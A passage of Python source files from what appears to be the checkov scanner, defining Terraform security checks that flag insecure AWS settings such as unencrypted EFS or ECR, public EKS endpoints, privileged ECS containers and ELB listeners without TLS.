EC2EBSOptimized(BaseResourceValueCheck): def __init__(self): name = "Ensure that EC2 is EBS optimized" id = "CKV_AWS_135" supported_resources = ['aws_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "ebs_optimized" check = EC2EBSOptimized() ================================================ FILE: checkov/terraform/checks/resource/aws/EC2PublicIP.py ================================================ from typing import List, Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class EC2PublicIP(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "EC2 instance should not have public IP." id = "CKV_AWS_88" categories = [CheckCategories.NETWORKING] supported_resources = ["aws_instance", "aws_launch_template"] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: if self.entity_type == "aws_instance": return "associate_public_ip_address" elif self.entity_type == "aws_launch_template": return "network_interfaces/[0]/associate_public_ip_address" return "" def get_forbidden_values(self) -> List[Any]: return [True] check = EC2PublicIP() ================================================ FILE: checkov/terraform/checks/resource/aws/ECRImageScanning.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ECRImageScanning(BaseResourceValueCheck): def __init__(self): name = "Ensure ECR image scanning on push is enabled" id = "CKV_AWS_163" supported_resources = ['aws_ecr_repository'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "image_scanning_configuration/[0]/scan_on_push" check = ECRImageScanning() ================================================ FILE: checkov/terraform/checks/resource/aws/ECRImmutableTags.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ECRImmutableTags(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure ECR Image Tags are immutable" id = "CKV_AWS_51" supported_resources = ("aws_ecr_repository",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "image_tag_mutability" def get_expected_value(self) -> Any: return "IMMUTABLE" check = ECRImmutableTags() ================================================ FILE: checkov/terraform/checks/resource/aws/ECRPolicy.py ================================================ from __future__ import annotations from typing import Any from cloudsplaining.scan.resource_policy_document import ResourcePolicyDocument from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECRPolicy(BaseResourceCheck): def __init__(self) -> None: name = "Ensure ECR policy is not set to public" id = "CKV_AWS_32" supported_resources = ("aws_ecr_repository_policy",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult: conf_policy = conf.get("policy") if conf_policy and conf_policy[0]: if isinstance(conf_policy[0], dict): try: policy = ResourcePolicyDocument(policy=conf_policy[0]) if policy.internet_accessible_actions: return CheckResult.FAILED except (TypeError, AttributeError): return CheckResult.UNKNOWN else: return CheckResult.UNKNOWN return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["policy"] check = ECRPolicy() ================================================ FILE: checkov/terraform/checks/resource/aws/ECRRepositoryEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ECRRepositoryEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure that ECR repositories are encrypted using KMS" id = "CKV_AWS_136" supported_resources = ['aws_ecr_repository'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'encryption_configuration/[0]/encryption_type' def get_expected_value(self): return "KMS" check = ECRRepositoryEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSClusterContainerInsights.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECSClusterContainerInsights(BaseResourceCheck): def __init__(self): name = "Ensure container insights are enabled on ECS cluster" id = "CKV_AWS_65" supported_resources = ['aws_ecs_cluster'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'setting' in conf.keys(): for idx, setting in enumerate(conf['setting']): if isinstance(setting, dict) and setting['name'] == ['containerInsights']: value = setting['value'] if isinstance(value, list): value = value[0] self.evaluated_keys = [f'setting/[{idx}]/name', f'setting/[{idx}]/value'] return CheckResult.PASSED if value in ['enabled', 'enhanced'] else CheckResult.FAILED return CheckResult.FAILED check = ECSClusterContainerInsights() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSClusterLoggingEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import Any, List class ECSClusterLoggingEnabled(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure ECS Cluster enables logging of ECS Exec" id = "CKV_AWS_223" supported_resources = ["aws_ecs_cluster"] categories = [CheckCategories.LOGGING] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "configuration/[0]/execute_command_configuration/[0]/logging" def get_forbidden_values(self) -> List[Any]: return ["NONE"] check = ECSClusterLoggingEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSClusterLoggingEncryptedWithCMK.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECSClusterLoggingEncryptedWithCMK(BaseResourceCheck): def __init__(self) -> None: name = "Ensure ECS Cluster logging is enabled and client to container communication uses CMK" id = "CKV_AWS_224" supported_resources = ("aws_ecs_cluster",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: configuration = conf.get("configuration") if configuration and isinstance(configuration, list) and isinstance(configuration[0], dict): execute_command = configuration[0].get("execute_command_configuration") if execute_command and isinstance(execute_command, list): execute_command = execute_command[0] if isinstance(execute_command, dict) and not execute_command.get("logging") == ["NONE"]: self.evaluated_keys = ["configuration/[0]/execute_command_configuration"] if execute_command.get("kms_key_id"): log_conf = execute_command.get("log_configuration") if log_conf and isinstance(log_conf, list): log_conf = log_conf[0] if isinstance(log_conf, dict) and ( log_conf.get("cloud_watch_encryption_enabled") == [True] or log_conf.get("s3_bucket_encryption_enabled") == [True] ): return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN check = ECSClusterLoggingEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSContainerHostProcess.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECSContainerHostProcess(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2 ECS task definitions should not share the host's process namespace """ name = "Ensure ECS task definitions should not share the host's process namespace" id = "CKV_AWS_335" supported_resources = ("aws_ecs_task_definition",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: self.evaluated_keys = ["container_definitions"] container_definitions = conf.get("container_definitions") if container_definitions and isinstance(container_definitions, list): containers = container_definitions[0] if containers and isinstance(containers, list): for idx, container in enumerate(containers): if isinstance(container, dict) and container.get("pidMode") == "host": self.evaluated_keys = [f"container_definitions/[{idx}]/pidMode"] return CheckResult.FAILED return CheckResult.PASSED elif isinstance(containers, dict): # TF plan file case for idx, container in enumerate(container_definitions): if isinstance(container, dict) and container.get("pidMode") == "host": self.evaluated_keys = [f"container_definitions/[{idx}]/pidMode"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = ECSContainerHostProcess() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSContainerPrivilege.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECSContainerPrivilege(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 AC-2(1), NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(15), NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-5, NIST.800-53.r5 AC-6 ECS containers should run as non-privileged """ name = "Ensure ECS containers should run as non-privileged" id = "CKV_AWS_334" supported_resources = ("aws_ecs_task_definition",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: self.evaluated_keys = ["container_definitions"] container_definitions = conf.get("container_definitions") if container_definitions and isinstance(container_definitions, list): containers = container_definitions[0] if containers and isinstance(containers, list): for idx, container in enumerate(containers): if isinstance(container, dict) and container.get("privilege"): self.evaluated_keys = [f"container_definitions/[0]/[{idx}]/privilege"] return CheckResult.FAILED return CheckResult.PASSED elif isinstance(containers, dict): # TF plan file case for idx, container in enumerate(container_definitions): if isinstance(container, dict) and container.get("privilege"): self.evaluated_keys = [f"container_definitions/[{idx}]/privilege"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = ECSContainerPrivilege() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSContainerReadOnlyRoot.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECSContainerReadOnlyRoot(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 AC-2(1), NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(15), NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-5, NIST.800-53.r5 AC-6 ECS containers should be limited to read-only access to root filesystems """ name = "Ensure ECS containers are limited to read-only access to root filesystems" id = "CKV_AWS_336" supported_resources = ("aws_ecs_task_definition",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: self.evaluated_keys = ["container_definitions"] container_definitions = conf.get("container_definitions") if container_definitions and isinstance(container_definitions, list): containers = container_definitions[0] if not containers: return CheckResult.UNKNOWN if isinstance(containers, list): for idx, container in enumerate(containers): if isinstance(container, dict) and not container.get("readonlyRootFilesystem"): self.evaluated_keys = [f"container_definitions/[0]/[{idx}]/readonlyRootFilesystem"] return CheckResult.FAILED elif isinstance(containers, dict): # TF plan file case for idx, container in enumerate(container_definitions): if isinstance(container, dict) and not container.get("readonlyRootFilesystem"): self.evaluated_keys = [f"container_definitions/[{idx}]/readonlyRootFilesystem"] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN check = ECSContainerReadOnlyRoot() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSServiceFargateLatest.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECSServiceFargateLatest(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-2(2), NIST.800-53.r5 SI-2(4), NIST.800-53.r5 SI-2(5) ECS Fargate services should run on the latest Fargate platform version """ name = "Ensure ECS Fargate services run on the latest Fargate platform version" id = "CKV_AWS_332" supported_resources = ("aws_ecs_service",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: launch_type = conf.get("launch_type") if launch_type and isinstance(launch_type, list) and launch_type[0] == "FARGATE": platform_version = conf.get("platform_version") if platform_version and isinstance(platform_version, list) and platform_version[0] != "LATEST": return CheckResult.FAILED return CheckResult.PASSED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ["launch_type", "platform_version"] check = ECSServiceFargateLatest() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSServicePublicIP.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from typing import Any, List class ECSServicePublicIP(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 AC-21, NIST.800-53.r5 AC-3, NIST.800-53.r5 AC-3(7), NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 AC-6, NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(16), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(3), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9) ECS services should not have public IP addresses assigned to them automatically """ name = "Ensure ECS services do not have public IP addresses assigned to them automatically" id = "CKV_AWS_333" supported_resources = ["aws_ecs_service"] categories = [CheckCategories.LOGGING] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def get_inspected_key(self) -> str: return "network_configuration/[0]/assign_public_ip" def get_forbidden_values(self) -> List[Any]: return [True] check = ECSServicePublicIP() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSTaskDefinitionEFSVolumeEncryption.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECSTaskDefinitionEFSVolumeEncryption(BaseResourceCheck): def __init__(self): name = "Ensure Encryption in transit is enabled for EFS volumes in ECS Task definitions" id = "CKV_AWS_97" supported_resources = ['aws_ecs_task_definition'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): self.evaluated_keys = ['volume'] if 'volume' in conf.keys(): for volume_idx, volume in enumerate(conf['volume']): if isinstance(volume, dict) and 'efs_volume_configuration' in volume: for efs_idx, efs in enumerate(volume['efs_volume_configuration']): if isinstance(efs, dict): self.evaluated_keys = [f'volume/[{volume_idx}]/efs_volume_configuration/[{efs_idx}]'] if 'transit_encryption' in efs and efs['transit_encryption'] == ['ENABLED']: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = ECSTaskDefinitionEFSVolumeEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/ECSTaskDefinitionRoleCheck.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ECSTaskDefinitionRoleCheck(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that the Execution Role ARN and the Task Role ARN are different in ECS Task definitions" id = "CKV_AWS_249" supported_resources = ("aws_ecs_task_definition",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["execution_role_arn", "task_role_arn"] if "execution_role_arn" in conf.keys() and "task_role_arn" in conf.keys(): execution_role_arn = conf["execution_role_arn"] if not execution_role_arn or execution_role_arn == [None]: # this occurs in TF plan files, when no role was set, very unlikely return CheckResult.PASSED if conf["execution_role_arn"] == conf["task_role_arn"]: return CheckResult.FAILED return CheckResult.PASSED check = ECSTaskDefinitionRoleCheck() ================================================ FILE: checkov/terraform/checks/resource/aws/EFSAccessPointRoot.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class EFSAccessPointRoot(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 AC-6(10) EFS access points should enforce a root directory (avoiding root / default) """ name = "EFS access points should enforce a root directory" id = "CKV_AWS_329" supported_resources = ['aws_efs_access_point'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED) def get_inspected_key(self): return "root_directory/[0]/path" def get_forbidden_values(self): return "/" check = EFSAccessPointRoot() ================================================ FILE: checkov/terraform/checks/resource/aws/EFSAccessUserIdentity.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from typing import Any from checkov.common.models.consts import ANY_VALUE class EFSAccessUserIdentity(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 AC-6(2) EFS access points should enforce a user identity """ name = "EFS access points should enforce a user identity" id = "CKV_AWS_330" supported_resources = ['aws_efs_access_point'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "posix_user/[0]/gid" def get_expected_value(self) -> Any: return ANY_VALUE check = EFSAccessUserIdentity() ================================================ FILE: checkov/terraform/checks/resource/aws/EFSEncryptionEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EFSEncryptionEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure EFS is securely encrypted" id = "CKV_AWS_42" supported_resources = ['aws_efs_file_system'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "encrypted" check = EFSEncryptionEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/EFSFileSystemEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EFSFileSystemEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure resource is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_184" supported_resources = ['aws_efs_file_system'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = EFSFileSystemEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/EKSControlPlaneLogging.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class EKSControlPlaneLogging(BaseResourceCheck): def __init__(self): name = "Ensure Amazon EKS control plane logging is enabled for all log types" id = "CKV_AWS_37" supported_resources = ['aws_eks_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for enabled_cluster_log_types at aws_eks_cluster: https://www.terraform.io/docs/providers/aws/r/eks_cluster.html :param conf: aws_eks_cluster configuration :return: """ log_types = ["api", "audit", "authenticator", "controllerManager", "scheduler"] enabled_cluster_log_types = conf.get("enabled_cluster_log_types") if enabled_cluster_log_types and enabled_cluster_log_types[0] is not None: enabled_cluster_log_types = enabled_cluster_log_types[0] if isinstance(enabled_cluster_log_types[0], str): if all(elem in enabled_cluster_log_types for elem in log_types): return CheckResult.PASSED elif isinstance(enabled_cluster_log_types[0], list): if all([elem] in enabled_cluster_log_types for elem in log_types): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['enabled_cluster_log_types'] check = EKSControlPlaneLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/EKSNodeGroupRemoteAccess.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class EKSNodeGroupRemoteAccess(BaseResourceCheck): def __init__(self): name = "Ensure AWS EKS node group does not have implicit SSH access from 0.0.0.0/0" id = "CKV_AWS_100" supported_resources = ['aws_eks_node_group'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): remote_access = conf.get("remote_access") if remote_access and remote_access[0] and "ec2_ssh_key" in remote_access[0].keys() \ and "source_security_group_ids" not in remote_access[0].keys(): return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['remote_access/[0]/ec2_ssh_key', 'remote_access/[0]/source_security_group_ids'] check = EKSNodeGroupRemoteAccess() ================================================ FILE: checkov/terraform/checks/resource/aws/EKSPlatformVersion.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class EKSPlatformVersion(BaseResourceValueCheck): def __init__(self) -> None: """ NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2, NIST.800-53.r5 SI-2, NIST.800-53.r5 SI-2(2), NIST.800-53.r5 SI-2(4), NIST.800-53.r5 SI-2(5) EKS clusters should run on a supported Kubernetes version """ name = "Ensure EKS clusters run on a supported Kubernetes version" id = "CKV_AWS_339" supported_resources = ("aws_eks_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "version" def get_expected_values(self) -> list[Any]: # https://docs.aws.amazon.com/eks/latest/userguide/kubernetes-versions.html return ["1.29", "1.30", "1.31", "1.32", "1.33", "1.34", "1.35"] check = EKSPlatformVersion() ================================================ FILE: checkov/terraform/checks/resource/aws/EKSPublicAccess.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EKSPublicAccess(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Amazon EKS public endpoint disabled" id = "CKV_AWS_39" supported_resources = ("aws_eks_cluster",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "vpc_config/[0]/endpoint_public_access" def get_expected_value(self) -> Any: return False check = EKSPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/aws/EKSPublicAccessCIDR.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class EKSPublicAccessCIDR(BaseResourceCheck): def __init__(self) -> None: name = "Ensure Amazon EKS public endpoint not accessible to 0.0.0.0/0" id = "CKV_AWS_38" supported_resources = ('aws_eks_cluster',) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for public_access_cidrs at aws_eks_cluster: https://www.terraform.io/docs/providers/aws/r/eks_cluster.html :param conf: aws_eks_cluster configuration :return: """ if "vpc_config" in conf.keys(): if "endpoint_public_access" in conf["vpc_config"][0] and not conf["vpc_config"][0]["endpoint_public_access"][0]: return CheckResult.PASSED elif "public_access_cidrs" in conf["vpc_config"][0]: self.evaluated_keys = ['vpc_config/[0]/public_access_cidrs'] cidrs = conf["vpc_config"][0]["public_access_cidrs"] if cidrs and isinstance(cidrs, list) and len(cidrs[0]) and "0.0.0.0/0" not in cidrs[0]: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN check = EKSPublicAccessCIDR() ================================================ FILE: checkov/terraform/checks/resource/aws/EKSSecretsEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class EKSSecretsEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure EKS Cluster has Secrets Encryption Enabled" id = "CKV_AWS_58" supported_resources = ['aws_eks_cluster'] categories = [CheckCategories.KUBERNETES] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "encryption_config/[0]/resources" def get_expected_value(self): return ["secrets"] check = EKSSecretsEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/ELBAccessLogs.py ================================================ from typing import List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ELBAccessLogs(BaseResourceCheck): def __init__(self): name = "Ensure the ELB has access logging enabled" id = "CKV_AWS_92" supported_resources = ['aws_elb'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'access_logs' not in conf: return CheckResult.FAILED if 'enabled' not in conf['access_logs'][0]: return CheckResult.PASSED if conf['access_logs'][0]['enabled'] == [True]: return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["access_logs/[0]/enabled"] check = ELBAccessLogs() ================================================ FILE: checkov/terraform/checks/resource/aws/ELBCrossZoneEnable.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class ELBCrossZoneEnable(BaseResourceValueCheck): def __init__(self): name = "Ensure that ELB is cross-zone-load-balancing enabled" id = "CKV_AWS_138" supported_resources = ['aws_elb'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'cross_zone_load_balancing' check = ELBCrossZoneEnable() ================================================ FILE: checkov/terraform/checks/resource/aws/ELBPolicyUsesSecureProtocols.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ELBPolicyUsesSecureProtocols(BaseResourceCheck): def __init__(self): name = "Ensure ELB Policy uses only secure protocols" id = "CKV_AWS_213" supported_resources = ['aws_load_balancer_policy'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): self.evaluated_keys = ['policy_attribute'] policies = conf.get('policy_attribute') for policy in policies: name = policy.get("name")[0] if name in ("Protocol-SSLv3", "Protocol-TLSv1", "Protocol-TLSv1.1"): if policy.get("value")[0]: return CheckResult.FAILED if name == "Reference-Security-Policy": value = policy.get("value")[0] if value in ("ELBSecurityPolicy-2016-08", "ELBSecurityPolicy-TLS-1-1-2017-01", "ELBSecurityPolicy-2015-05", "ELBSecurityPolicy-2015-03", "ELBSecurityPolicy-2015-02", "ELBSecurityPolicy-TLS-1-0-2015-04", "ELBSecurityPolicy-2014-10", "ELBSecurityPolicy-Default", "ELBSecurityPolicy-2014-01"): return CheckResult.FAILED return CheckResult.PASSED check = ELBPolicyUsesSecureProtocols() ================================================ FILE: checkov/terraform/checks/resource/aws/ELBUsesSSL.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ELBUsesSSL(BaseResourceCheck): def __init__(self): name = "Ensure that Elastic Load Balancer(s) uses SSL certificates provided by AWS Certificate Manager" id = "CKV_AWS_127" supported_resources = ['aws_elb'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): self.evaluated_keys = ['listener'] if 'listener' in conf: for idx, listener in enumerate(conf['listener']): if 'ssl_certificate_id' not in listener: self.evaluated_keys = [f'listener/{idx}'] return CheckResult.FAILED return CheckResult.PASSED check = ELBUsesSSL() ================================================ FILE: checkov/terraform/checks/resource/aws/ELBv2AccessLogs.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class ELBv2AccessLogs(BaseResourceValueCheck): def __init__(self): name = "Ensure the ELBv2 (Application/Network) has access logging enabled" id = "CKV_AWS_91" supported_resources = ["aws_lb", "aws_alb"] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "access_logs/0/enabled/0" def scan_resource_conf(self, conf): if conf.get("load_balancer_type") == ["gateway"]: return CheckResult.UNKNOWN return super().scan_resource_conf(conf) check = ELBv2AccessLogs() ================================================ FILE: checkov/terraform/checks/resource/aws/ELBwListenerNotTLSSSL.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class ELBwListenerNotTLSSSL(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AWS Elastic Load Balancer listener uses TLS/SSL" id = "CKV_AWS_376" supported_resource = ("aws_elb",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if 'listener' in conf: self.evaluated_keys = ['listener'] for listener_idx, listener in enumerate(conf.get('listener')): if 'instance_protocol' in listener: self.evaluated_keys.append(f'listener/[{listener_idx}]/instance_protocol') if listener.get('instance_protocol')[0].lower() in ('http', 'tcp'): return CheckResult.FAILED if listener.get('instance_protocol')[0].lower() in ('https', 'ssl') and \ ('ssl_certificate_id' not in listener or listener.get('ssl_certificate_id') == ""): return CheckResult.FAILED return CheckResult.PASSED check = ELBwListenerNotTLSSSL() ================================================ FILE: checkov/terraform/checks/resource/aws/EMRClusterConfEncryptsEBS.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.data_structures_utils import find_in_dict from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class EMRClusterConfEncryptsEBS(BaseResourceCheck): def __init__(self) -> None: name = "Ensure EMR Cluster security configuration encrypts EBS disks" id = "CKV_AWS_350" supported_resources = ("aws_emr_security_configuration",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: security_conf = conf.get("configuration") if 